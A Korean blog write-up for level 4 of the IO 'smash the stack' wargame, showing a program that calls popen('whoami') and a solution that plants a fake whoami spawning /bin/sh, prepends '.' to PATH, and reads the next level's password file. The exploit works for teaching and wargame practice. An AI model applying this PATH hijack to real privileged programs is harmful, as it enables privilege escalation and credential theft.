본문 바로가기

wargame/IO smash the stack

level4

summary: env PATH attack
  

소스를 보면 

level4@io:/levels$ cat level04.c

//writen by bla

#include <stdlib.h>

#include <stdio.h>


int main() {

        char username[1024];

        FILE* f = popen("whoami","r");

        fgets(username, sizeof(username), f);

        printf("Welcome %s", username);


        return 0;

}


whoami란 프로그램을 popen이란 함수를 통해서 whoami를 실행시키는데, 이것을 이용해  가짜 whoami파일을 만들어서 공략하면 된다.



level4@io:/tmp/sanguine$ cat whoami.c

#include <stdio.h>


int main(){

        char *args[]={"/bin/sh",NULL};

        execve(args[0],args,NULL);

}

level4@io:/tmp/sanguine$ export PATH=.:$PATH

level4@io:/tmp/sanguine$ /levels/level04

sh-4.2$ cat /home/level5/.pass

Welcome KGpWsju2vDpmxcxlvm



'wargame > IO smash the stack' 카테고리의 다른 글

level5  (0) 2014.05.27
level3  (0) 2014.05.27
level2_alt  (0) 2014.05.27
level2  (0) 2014.05.12
level1을 풀다가 생긴 의문점에 대한 분석  (0) 2014.05.12